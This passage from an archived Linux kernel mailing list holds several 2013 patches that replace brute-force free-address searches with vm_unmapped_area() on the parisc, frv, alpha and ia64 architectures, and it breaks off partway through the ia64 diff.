X-Gm-Message-State: ALoCoQlL4NUreN+bGkr03EPK+jXEhbgO9HiQeBAUSMUIIE07YrGXkF2fBTyteK46zWIMvLedFjbcmwoR3ZPVqqxu+gEIwr28K1XpQtCRX1a8lbQMP9iK+MuhXvs3QBxar/xKEhTtbA93FK9+hHKuXWhuqzrgjhPThvbcSXEEM7iXcAAdZAA/9VyCIxKHnaXrSi9ZVWRodpMwFlk08iYPf4y/DzZ4bNOP5A==
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:22856 gmane.linux.kernel.mm:93012 gmane.linux.kernel:1418766 gmane.linux.ports.ppc64.devel:86880 gmane.linux.ports.parisc:4707 gmane.linux.ports.alpha:1980
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/22856>

Update the parisc arch_get_unmapped_area function to make use of
vm_unmapped_area() instead of implementing a brute force search.

Signed-off-by: Michel Lespinasse <walken@google.com>

---
 arch/parisc/kernel/sys_parisc.c |   46 ++++++++++++++------------------------
 1 files changed, 17 insertions(+), 29 deletions(-)

diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index f76c10863c62..6ab138088076 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -35,18 +35,15 @@
 
 static unsigned long get_unshared_area(unsigned long addr, unsigned long len)
 {
-	struct vm_area_struct *vma;
+	struct vm_unmapped_area_info info;
 
-	addr = PAGE_ALIGN(addr);
-
-	for (vma = find_vma(current->mm, addr); ; vma = vma->vm_next) {
-		/* At this point:  (!vma || addr < vma->vm_end). */
-		if (TASK_SIZE - len < addr)
-			return -ENOMEM;
-		if (!vma || addr + len <= vma->vm_start)
-			return addr;
-		addr = vma->vm_end;
-	}
+	info.flags = 0;
+	info.length = len;
+	info.low_limit = PAGE_ALIGN(addr);
+	info.high_limit = TASK_SIZE;
+	info.align_mask = 0;
+	info.align_offset = 0;
+	return vm_unmapped_area(&info);
 }
 
 #define DCACHE_ALIGN(addr) (((addr) + (SHMLBA - 1)) &~ (SHMLBA - 1))
@@ -63,30 +60,21 @@ static unsigned long get_unshared_area(unsigned long addr, unsigned long len)
  */
 static int get_offset(struct address_space *mapping)
 {
-	int offset = (unsigned long) mapping << (PAGE_SHIFT - 8);
-	return offset & 0x3FF000;
+	return (unsigned long) mapping >> 8;
 }
 
 static unsigned long get_shared_area(struct address_space *mapping,
 		unsigned long addr, unsigned long len, unsigned long pgoff)
 {
-	struct vm_area_struct *vma;
-	int offset = mapping ? get_offset(mapping) : 0;
-
-	offset = (offset + (pgoff << PAGE_SHIFT)) & 0x3FF000;
+	struct vm_unmapped_area_info info;
 
-	addr = DCACHE_ALIGN(addr - offset) + offset;
-
-	for (vma = find_vma(current->mm, addr); ; vma = vma->vm_next) {
-		/* At this point:  (!vma || addr < vma->vm_end). */
-		if (TASK_SIZE - len < addr)
-			return -ENOMEM;
-		if (!vma || addr + len <= vma->vm_start)
-			return addr;
-		addr = DCACHE_ALIGN(vma->vm_end - offset) + offset;
-		if (addr < vma->vm_end) /* handle wraparound */
-			return -ENOMEM;
-	}
+	info.flags = 0;
+	info.length = len;
+	info.low_limit = PAGE_ALIGN(addr);
+	info.high_limit = TASK_SIZE;
+	info.align_mask = PAGE_MASK & (SHMLBA - 1);
+	info.align_offset = (get_offset(mapping) + pgoff) << PAGE_SHIFT;
+	return vm_unmapped_area(&info);
 }
 
 unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
-- 
1.7.7.3
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michel Lespinasse <walken@google.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: [PATCH 3/8] mm: use vm_unmapped_area() on frv architecture
Date: Tue,  8 Jan 2013 17:28:10 -0800
Lines: 87
Approved: news@gmane.org
Message-ID: <1357694895-520-4-git-send-email-walken@google.com>
References: <1357694895-520-1-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1357694921 30403 80.91.229.3 (9 Jan 2013 01:28:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Jan 2013 01:28:41 +0000 (UTC)
Cc: linux-mm@kvack.org,
	linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>,
	linuxppc-dev@lists.ozlabs.org,
	linux-parisc@vger.kernel.org,
	linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org
To: Rik van Riel <riel@redhat.com>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Matt Turner <mattst88@gmail.com>,
	David Howells <dhowells@redhat.com>,
	Tony Luck <tony.luck@intel.com>
Original-X-From: owner-linux-mm@kvack.org Wed Jan 09 02:28:56 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1TskTN-0004Yo-Jw
	for glkm-linux-mm-2@m.gmane.org; Wed, 09 Jan 2013 02:28:53 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 001DB6B0072; Tue,  8 Jan 2013 20:28:35 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id CB0DD6B0074; Tue,  8 Jan 2013 20:28:34 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 6D4C96B0075; Tue,  8 Jan 2013 20:28:34 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx177.postini.com [74.125.245.177])
	by kanga.kvack.org (Postfix) with SMTP id 522C66B0072
	for <linux-mm@kvack.org>; Tue,  8 Jan 2013 20:28:33 -0500 (EST)
Original-Received: from mail-pa0-f53.google.com ([209.85.220.53]) (using TLSv1) by na3sys010amx177.postini.com ([74.125.244.10]) with SMTP;
	Wed, 09 Jan 2013 01:28:33 GMT
Original-Received: by mail-pa0-f53.google.com with SMTP id hz1so682642pad.26
        for <linux-mm@kvack.org>; Tue, 08 Jan 2013 17:28:32 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        bh=X/fqiYxeGhEl06mlYA6GxTFnIGMeNLRlgZN+4rCnRDw=;
        b=Q0QHo2ucT24vJKQu3pFZxSOy6qXjdph6zZlRUrAJI1Lv/XFlKK/Ry5wZ1rGZgHE25e
         l2XR6ZoEnj2iArHX1qDt/NWDBVc/CZ5a1ZGza0/YsjICF5jkPi9Izl6boLshztnHKlw3
         8JT9zYHIuCmr5C4tVCQKcrMAV+udRASa3IV1gZTax1V29F8ng1XltnnblnA0IA36txI1
         9nx6zXqCw953mU8X+EHS6tgrgkzeI4/SW4ZjnDODcJ0uBD21zSJR+2NvymLVrxqC8Jlj
         CzDsXUJIY606KIF+J16t6CPAEdrGs/814VD0X9XclQNYVgyoWu7SP74xzADuMmljaPai
         CvPw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references:x-gm-message-state;
        bh=X/fqiYxeGhEl06mlYA6GxTFnIGMeNLRlgZN+4rCnRDw=;
        b=VHS3Q9K7e55tyIg/9WCOUNAF106zTpjIGKtYrAWCdtVE6zB6WmMoF1sBSlHAL8YxL9
         5yvHATCtWsykY0nMQ1w7cmbs3Wzb2+xb2uZ4gYeIczKN1CmFrup9gamZqkyZsi9SlYib
         ih9ftu6OKIRc2Q6LLHxyfuZoaCtfh3l9E6LrAbLij6/I4znXpo79pRcFPBumdDn6O8NV
         LIcbL7d01X1C4jyxoGkkK6jThVse+gWCldvhuKcgm0YCq5ep0R3iDrIHX6y2vIPBytsG
         oyMxou41k6wisOvJxZSMW/xg0QxEfrBPCQhnX4b6DUxXwehrMmQSeu6Iqv1ZqPY7JmEK
         g55A==
X-Received: by 10.68.227.33 with SMTP id rx1mr163657410pbc.67.1357694912431;
        Tue, 08 Jan 2013 17:28:32 -0800 (PST)
Original-Received: from studio.mtv.corp.google.com (studio.mtv.corp.google.com [172.17.131.106])
        by mx.google.com with ESMTPS id p10sm41711168pax.27.2013.01.08.17.28.30
        (version=TLSv1/SSLv3 cipher=OTHER);
        Tue, 08 Jan 2013 17:28:31 -0800 (PST)
X-Mailer: git-send-email 1.7.7.3
In-Reply-To: <1357694895-520-1-git-send-email-walken@google.com>
X-Gm-Message-State: ALoCoQk2D8+wsNoMXy8yn1nsYZwbWDlt5UAxH7AwD8h3lQPZGDOpP7aS4R2F8fSWE16vDkxD4l7R1nJu8icPmWXt5TvO7NJiLuOx7TZ7JTsCRvn1hVF+SzysWvn4ThEQy/RoBDpP6qRkYGZXt9cIL+MnGi0T/PIKmPFSLPW2qQgiGLVfXLRkG3BGoofP1+J0YpDSn4sQIm9N
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:81.53262/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 1 skipped:not-enabled
X-pstn-settings: 3 (1.0000:0.0100) s cv GT3 gt2 gt1 r p m c 
X-pstn-addresses: from <walken@google.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93013 gmane.linux.kernel:1418767 gmane.linux.ports.ppc64.devel:86881 gmane.linux.ports.parisc:4708 gmane.linux.ports.alpha:1981 gmane.linux.ports.ia64:22857
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93013>

Update the frv arch_get_unmapped_area function to make use of
vm_unmapped_area() instead of implementing a brute force search.

Signed-off-by: Michel Lespinasse <walken@google.com>

---
 arch/frv/mm/elf-fdpic.c |   49 ++++++++++++++++------------------------------
 1 files changed, 17 insertions(+), 32 deletions(-)

diff --git a/arch/frv/mm/elf-fdpic.c b/arch/frv/mm/elf-fdpic.c
index 385fd30b142f..836f14707a62 100644
--- a/arch/frv/mm/elf-fdpic.c
+++ b/arch/frv/mm/elf-fdpic.c
@@ -60,7 +60,7 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr, unsi
 				     unsigned long pgoff, unsigned long flags)
 {
 	struct vm_area_struct *vma;
-	unsigned long limit;
+	struct vm_unmapped_area_info info;
 
 	if (len > TASK_SIZE)
 		return -ENOMEM;
@@ -79,39 +79,24 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr, unsi
 	}
 
 	/* search between the bottom of user VM and the stack grow area */
-	addr = PAGE_SIZE;
-	limit = (current->mm->start_stack - 0x00200000);
-	if (addr + len <= limit) {
-		limit -= len;
-
-		if (addr <= limit) {
-			vma = find_vma(current->mm, PAGE_SIZE);
-			for (; vma; vma = vma->vm_next) {
-				if (addr > limit)
-					break;
-				if (addr + len <= vma->vm_start)
-					goto success;
-				addr = vma->vm_end;
-			}
-		}
-	}
+	info.flags = 0;
+	info.length = len;
+	info.low_limit = PAGE_SIZE;
+	info.high_limit = (current->mm->start_stack - 0x00200000);
+	info.align_mask = 0;
+	info.align_offset = 0;
+	addr = vm_unmapped_area(&info);
+	if (!(addr & ~PAGE_MASK))
+		goto success;
+	VM_BUG_ON(addr != -ENOMEM);
 
 	/* search from just above the WorkRAM area to the top of memory */
-	addr = PAGE_ALIGN(0x80000000);
-	limit = TASK_SIZE - len;
-	if (addr <= limit) {
-		vma = find_vma(current->mm, addr);
-		for (; vma; vma = vma->vm_next) {
-			if (addr > limit)
-				break;
-			if (addr + len <= vma->vm_start)
-				goto success;
-			addr = vma->vm_end;
-		}
-
-		if (!vma && addr <= limit)
-			goto success;
-	}
+	info.low_limit = PAGE_ALIGN(0x80000000);
+	info.high_limit = TASK_SIZE;
+	addr = vm_unmapped_area(&info);
+	if (!(addr & ~PAGE_MASK))
+		goto success;
+	VM_BUG_ON(addr != -ENOMEM);
 
 #if 0
 	printk("[area] l=%lx (ENOMEM) f='%s'\n",
-- 
1.7.7.3

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michel Lespinasse <walken@google.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: [PATCH 2/8] mm: use vm_unmapped_area() on alpha architecture
Date: Tue,  8 Jan 2013 17:28:09 -0800
Lines: 49
Approved: news@gmane.org
Message-ID: <1357694895-520-3-git-send-email-walken@google.com>
References: <1357694895-520-1-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1357694921 30404 80.91.229.3 (9 Jan 2013 01:28:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Jan 2013 01:28:41 +0000 (UTC)
Cc: linux-mm@kvack.org,
	linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>,
	linuxppc-dev@lists.ozlabs.org,
	linux-parisc@vger.kernel.org,
	linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org
To: Rik van Riel <riel@redhat.com>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Matt Turner <mattst88@gmail.com>,
	David Howells <dhowells@redhat.com>,
	Tony Luck <tony.luck@intel.com>
Original-X-From: owner-linux-mm@kvack.org Wed Jan 09 02:28:55 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1TskTK-0004Yj-VY
	for glkm-linux-mm-2@m.gmane.org; Wed, 09 Jan 2013 02:28:51 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id A2BAA6B0071; Tue,  8 Jan 2013 20:28:33 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 83D1B6B0075; Tue,  8 Jan 2013 20:28:33 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 3E5906B0074; Tue,  8 Jan 2013 20:28:33 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx123.postini.com [74.125.245.123])
	by kanga.kvack.org (Postfix) with SMTP id B69DE6B0072
	for <linux-mm@kvack.org>; Tue,  8 Jan 2013 20:28:31 -0500 (EST)
Original-Received: from mail-pb0-f47.google.com ([209.85.160.47]) (using TLSv1) by na3sys010amx123.postini.com ([74.125.244.10]) with SMTP;
	Wed, 09 Jan 2013 01:28:31 GMT
Original-Received: by mail-pb0-f47.google.com with SMTP id un1so594272pbc.34
        for <linux-mm@kvack.org>; Tue, 08 Jan 2013 17:28:30 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        bh=m8BhLQt09z/FIiDqu8x1NEjL2ZCS/TnXPYNPNj+0qyc=;
        b=Pbv9DeD/S79iRbegg+D14tCm7krsi5TLsptlLWCqhuGM0o0B0o/eittiwuDsIKQvft
         BHz21T7x4kWyAUFRlKy4EV1Lme/0X6h63tOB8wIcPYEunIre0om04Qz2RsURCYnHcco7
         RbBD3+2FXd5Cvj1n29JDkmsSm334SoEOmZMIdkldQLyDiPOZxG5IyZM1uB9qw9G+oTG9
         DzXHdPiqqnuDZKxAiahrBgV+7hKh4sHf0/sBi29A4gN4ufs/AyWbTsAJ2sDzUaisSzgW
         4/W3ISojCRAGQMrKrCXA2tx0t9KtNcYxdQKWtk6dfOMH88gpAetXKXGGUbh4/Oa3Kt60
         ywpw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references:x-gm-message-state;
        bh=m8BhLQt09z/FIiDqu8x1NEjL2ZCS/TnXPYNPNj+0qyc=;
        b=gOMoy5oPlA1wmP3BMyVP6GdLsc+94FqU8we858FWx6y66tg+gClhkrLtqSpi+JUYYe
         m2QCLNrh2UKyCubwvTNEn22giiOFN/1IkGeUJYYH3pm6VxvjYQys1B1Kxm7XBUGyaVUt
         W6A8WcQfsGblXzEdAb9lSWECu4Xgxas8/V3qJGCwhpFoCHuPl+jdRjQWrRmPqYXrdtk5
         8R39zABg1nY2+xhlkcpBIMz/ZgWU0jgHcek9r46Yf+k2SGOe5UEiOH66dRR9g4G8tNKM
         CSyRcNOWWyzgQCk8hoJdZBUDGOB1demSvfG6vxgw7TYT0BYNAqCfXV4XrYbQwVRtkOXE
         JCIw==
X-Received: by 10.66.87.202 with SMTP id ba10mr184400937pab.72.1357694910854;
        Tue, 08 Jan 2013 17:28:30 -0800 (PST)
Original-Received: from studio.mtv.corp.google.com (studio.mtv.corp.google.com [172.17.131.106])
        by mx.google.com with ESMTPS id p10sm41711168pax.27.2013.01.08.17.28.29
        (version=TLSv1/SSLv3 cipher=OTHER);
        Tue, 08 Jan 2013 17:28:30 -0800 (PST)
X-Mailer: git-send-email 1.7.7.3
In-Reply-To: <1357694895-520-1-git-send-email-walken@google.com>
X-Gm-Message-State: ALoCoQnaFAiHEpbnXBEXCweM9ZXp7jT9nGBy7kOcJopFZdU9ejYTNSbCcAoyrzB9Y2O6qeGnAzR0GscbES+BoaJDsvMhLi+RLjVGeHrKQs/fbukBP4/nzFjN0aCr/nLqmp38fPLdmatTx/ArNvOPl+/JS89+AptpuqQHYai6Ie8XF15s95f7z1w0G9tneXIzDxKL3tmYt/0M
X-pstn-levels: (S:74.60344/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 1 skipped:not-enabled
X-pstn-settings: 3 (1.0000:0.0100) s cv GT3 gt2 gt1 r p m c 
X-pstn-addresses: from <walken@google.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93014 gmane.linux.kernel:1418768 gmane.linux.ports.ppc64.devel:86882 gmane.linux.ports.parisc:4709 gmane.linux.ports.alpha:1982 gmane.linux.ports.ia64:22858
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93014>

Update the alpha arch_get_unmapped_area function to make use of
vm_unmapped_area() instead of implementing a brute force search.

Signed-off-by: Michel Lespinasse <walken@google.com>

---
 arch/alpha/kernel/osf_sys.c |   20 +++++++++-----------
 1 files changed, 9 insertions(+), 11 deletions(-)

diff --git a/arch/alpha/kernel/osf_sys.c b/arch/alpha/kernel/osf_sys.c
index 14db93e4c8a8..ba707e23ef37 100644
--- a/arch/alpha/kernel/osf_sys.c
+++ b/arch/alpha/kernel/osf_sys.c
@@ -1298,17 +1298,15 @@ static unsigned long
 arch_get_unmapped_area_1(unsigned long addr, unsigned long len,
 		         unsigned long limit)
 {
-	struct vm_area_struct *vma = find_vma(current->mm, addr);
-
-	while (1) {
-		/* At this point:  (!vma || addr < vma->vm_end). */
-		if (limit - len < addr)
-			return -ENOMEM;
-		if (!vma || addr + len <= vma->vm_start)
-			return addr;
-		addr = vma->vm_end;
-		vma = vma->vm_next;
-	}
+	struct vm_unmapped_area_info info;
+
+	info.flags = 0;
+	info.length = len;
+	info.low_limit = addr;
+	info.high_limit = limit;
+	info.align_mask = 0;
+	info.align_offset = 0;
+	return vm_unmapped_area(&info);
 }
 
 unsigned long
-- 
1.7.7.3

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michel Lespinasse <walken@google.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: [PATCH 5/8] mm: use vm_unmapped_area() in hugetlbfs on ia64 architecture
Date: Tue,  8 Jan 2013 17:28:12 -0800
Lines: 56
Approved: news@gmane.org
Message-ID: <1357694895-520-6-git-send-email-walken@google.com>
References: <1357694895-520-1-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1357694931 30473 80.91.229.3 (9 Jan 2013 01:28:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Jan 2013 01:28:51 +0000 (UTC)
Cc: linux-mm@kvack.org,
	linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>,
	linuxppc-dev@lists.ozlabs.org,
	linux-parisc@vger.kernel.org,
	linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org
To: Rik van Riel <riel@redhat.com>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Matt Turner <mattst88@gmail.com>,
	David Howells <dhowells@redhat.com>,
	Tony Luck <tony.luck@intel.com>
Original-X-From: owner-linux-mm@kvack.org Wed Jan 09 02:29:04 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1TskTU-0004mE-Sk
	for glkm-linux-mm-2@m.gmane.org; Wed, 09 Jan 2013 02:29:01 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 52D7A6B0078; Tue,  8 Jan 2013 20:28:41 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 0D4166B0081; Tue,  8 Jan 2013 20:28:39 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 08D5F6B0080; Tue,  8 Jan 2013 20:28:37 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx204.postini.com [74.125.245.204])
	by kanga.kvack.org (Postfix) with SMTP id 690B96B0078
	for <linux-mm@kvack.org>; Tue,  8 Jan 2013 20:28:36 -0500 (EST)
Original-Received: from mail-da0-f43.google.com ([209.85.210.43]) (using TLSv1) by na3sys010amx204.postini.com ([74.125.244.10]) with SMTP;
	Wed, 09 Jan 2013 01:28:36 GMT
Original-Received: by mail-da0-f43.google.com with SMTP id u36so466056dak.16
        for <linux-mm@kvack.org>; Tue, 08 Jan 2013 17:28:35 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        bh=Ot6SwVzFhpkOj27D0aUl6IlzVtpVuXdWJY2PyhFFCe8=;
        b=QaZJDOPDz6bKZACJzx+ZkJ+WmxqqeSahygpSepnbLlbIlrJ0Y3ay+T1obw0sbzxQNf
         0+G/J4Kmh3+1IJC4hQB61yEeF9JJBk1MX+XG0VD7G0bzaW+yhsWz/O8gUZLtzKchKN/W
         vqSWRFZ+KwrNFVB6BgJeFilF0G46iHvukYZ0xLZUUIpR5Gd98Yz9doWwCDdLM3CqYkti
         vybpSUEZTfTnJeLaC6BHduXJlSPiTvrbavsKPD7f1io1mmN+Ro6ElPKqHfH7UBW9XTbz
         VaOST4/WElCbEC1UHVonEYC0oXOqptvZAAZY6LE+8vqt+M4eFQkW4lsxhx8ZyrMcwCtj
         MnQg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references:x-gm-message-state;
        bh=Ot6SwVzFhpkOj27D0aUl6IlzVtpVuXdWJY2PyhFFCe8=;
        b=UeEF+pgqmnNSnfOU/wkkts0f5nhxLPzVTGDO4oLylGbgWg4ZXzlAVxSI24N0veOh4P
         uG/zAFOjh/Vj0fVGF3oWGBKgxfAk0Zwn/AoFK/72LOv+8QR976FAMvC/tVY5K2Jm8QBd
         3KMAyCTY8gKM1+shoWnJ+YYflzsrYu2p75QMvhY4BveX0OrvXADiUoIu9atSdGLcOH7b
         TeBYJhboh5+SlVH3IRPgfjiHxSVpE2pkKYXsFtaols6+Z2EAeYSIOizTgCaOHEAPzLzv
         sJXQltBraK0jWuE4wnVU5Ylf2wpSgNu3cVYe08kinLf94qg+M9nttcYxAi1YHnbeWAmK
         yP8Q==
X-Received: by 10.68.243.33 with SMTP id wv1mr199631299pbc.143.1357694915560;
        Tue, 08 Jan 2013 17:28:35 -0800 (PST)
Original-Received: from studio.mtv.corp.google.com (studio.mtv.corp.google.com [172.17.131.106])
        by mx.google.com with ESMTPS id p10sm41711168pax.27.2013.01.08.17.28.34
        (version=TLSv1/SSLv3 cipher=OTHER);
        Tue, 08 Jan 2013 17:28:34 -0800 (PST)
X-Mailer: git-send-email 1.7.7.3
In-Reply-To: <1357694895-520-1-git-send-email-walken@google.com>
X-Gm-Message-State: ALoCoQmzOo2skSrEGYlyJ3T7J7NvLXP0IeLWC42u/HAICg99iRmILabggk870Mth1k+lryWziQtovqdQ7XOrYym6VtD+/+SXthAsJJQSH6oNd3c4O0/ZCpY63kEs2nI/YGrWbyYOL6ZXsz5IClmofqQEKNEYDvIuGw18fE3W1wtgbR8HB/uUdfjguWYjovU2tvhecHmMwXWZ
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:75.51929/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 1 skipped:not-enabled
X-pstn-settings: 3 (1.0000:0.0100) s cv GT3 gt2 gt1 r p m c 
X-pstn-addresses: from <walken@google.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93015 gmane.linux.kernel:1418769 gmane.linux.ports.ppc64.devel:86883 gmane.linux.ports.parisc:4710 gmane.linux.ports.alpha:1983 gmane.linux.ports.ia64:22859
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93015>

Update the ia64 hugetlb_get_unmapped_area function to make use of
vm_unmapped_area() instead of implementing a brute force search.

Signed-off-by: Michel Lespinasse <walken@google.com>

---
 arch/ia64/mm/hugetlbpage.c |   20 +++++++++-----------
 1 files changed, 9 insertions(+), 11 deletions(-)

diff --git a/arch/ia64/mm/hugetlbpage.c b/arch/ia64/mm/hugetlbpage.c
index 5ca674b74737..76069c18ee42 100644
--- a/arch/ia64/mm/hugetlbpage.c
+++ b/arch/ia64/mm/hugetlbpage.c
@@ -148,7 +148,7 @@ void hugetlb_free_pgd_range(struct mmu_gather *tlb,
 unsigned long hugetlb_get_unmapped_area(struct file *file, unsigned long addr, unsigned long len,
 		unsigned long pgoff, unsigned long flags)
 {
-	struct vm_area_struct *vmm;
+	struct vm_unmapped_area_info info;
 
 	if (len > RGN_MAP_LIMIT)
 		return -ENOMEM;
@@ -165,16 +165,14 @@ unsigned long hugetlb_get_unmapped_area(struct file *file, unsigned long addr, u
 	/* This code assumes that RGN_HPAGE != 0. */
 	if ((REGION_NUMBER(addr) != RGN_HPAGE) || (addr & (HPAGE_SIZE - 1)))
 		addr = HPAGE_REGION_BASE;
-	else
